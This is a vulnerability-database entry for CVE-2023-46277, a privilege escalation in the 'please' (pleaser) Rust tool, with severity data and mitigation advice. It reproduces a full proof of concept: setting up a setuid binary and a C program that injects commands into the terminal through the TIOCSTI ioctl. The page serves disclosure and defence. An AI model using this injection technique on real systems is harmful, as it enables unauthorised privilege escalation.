CVE-2023-46277 is a high-severity (CVSS 7.8) Improper Privilege Management vulnerability in pleaser. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. The records list no fixed version yet; check the vendor advisory below and apply the mitigations in the meantime.
Pleaser privilege escalation vulnerability
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2023-46277.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
pleaserReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects crates.io packages — download data is not available via public APIs for these ecosystems.
Description
please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)
Here is how to see it in action:
$ cd "$(mktemp -d)"
$ git clone --depth 1 https://gitlab.com/edneville/please.git
$ cd please/
$ git rev-parse HEAD # f3598f8fae5455a8ecf22afca19eaba7be5053c9
$ cargo test && cargo build --release
$ echo "[${USER}_as_nobody]"$'\nname='"${USER}"$'\ntarget=nobody\nrule=.*\nrequire_pass=false' | sudo tee /etc/please.ini
$ sudo chown root:root ./target/release/please
$ sudo chmod u+s ./target/release/please
$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c
#include <sys/ioctl.h>
int main(void) {
const char *text = "id\n";
while (*text)
ioctl(0, TIOCSTI, text++);
return 0;
}
TIOCSTI_C_EOF
$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c
$ ./target/release/please -u nobody /tmp/TIOCSTI # runs id(1) as ${USER} rather than nobody
Please note that:
This affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🦀crates.io | pleaser | all versions | No fix |
Affected Products
pleaseednevilleResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pleaser, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
The records we use list no patched version of pleaser for CVE-2023-46277. Check the maintainer's advisory, and where your build allows, override or pin the dependency away from the vulnerable range.
Mitigate without a patch
Close the privilege gap rather than the entry point: audit which accounts, roles and service identities can reach the affected operation, drop the component to the least privilege it actually needs, and review file and directory permissions created by earlier installs — a default left in place is what makes this reachable.
Frequently Asked Questions
Is CVE-2023-46277 in your dependencies?
Find it across crates.io, including transitive dependencies.